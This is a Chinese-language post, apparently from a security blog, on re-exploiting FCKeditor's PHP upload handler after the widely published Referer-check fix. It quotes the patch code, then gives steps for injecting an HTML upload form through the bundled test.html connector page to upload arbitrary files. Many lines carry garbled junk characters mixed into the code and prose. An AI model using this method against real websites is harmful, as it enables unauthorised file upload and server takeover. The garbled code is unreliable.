fckeditor 漏洞修复后的二次利用

admin

漏洞文件：editors/fckeditor/editor/filemanager/upload/php/upload.php
网上给出的修复方案是
修复方法，删除FCK编辑器用其他的编辑器
" H% l0 r$ K  Z" p) H8 @或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
在
% i! d5 M/ W# q; T+ m& \6 }require(‘config.php’);
require(‘util.php’);
; W  K) i8 B* O/ W5 K" m" x+ }的下面添加以下代码—————————–
! ]3 d0 X: R  i$ v. P//防止外部提交
4 l' H' J+ Q( h* U" Ufunction outsidepost()
6 L' F. w; Z! r, d% F  [# y{
8 N: B3 t# Z5 S& e) W; P2 L" v$servername=$_SERVER['SERVER_NAME'];
& v4 m+ \/ L9 c4 Z3 L2 z' G. R- Q$sub_from=@$_SERVER['HTTP_REFERER'];
/ ^( a9 w8 s8 t; Q$sub_len=strlen($servername);
$checkfrom=substr($sub_from,7,$sub_len);
if($checkfrom!=$servername){
echo(“you don’t outsidepost!”);
6 N9 j# a% x, jexit;
. p# B, q5 a; Z3 H% n; Q, ~  P" ~! P}
( Q3 g" @/ X- f  c7 M& H}
+ H* s. j+ i; I) _. \6 s: goutsidepost();
( I) G5 m: D* v) M9 M; G防止外部提交，但是没有防止内部提交，
利用方法：
% v. Z9 X/ S" S7 s0 t1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
1 k( g$ O! o: P; z: B2,在Current Folder 框输入
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
' l% O6 j& _4 y& A3 c: ?9 {* i然后 Get Folders and Files 就会出现一个上传表单，即可上传任意文件类型。
PS：如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。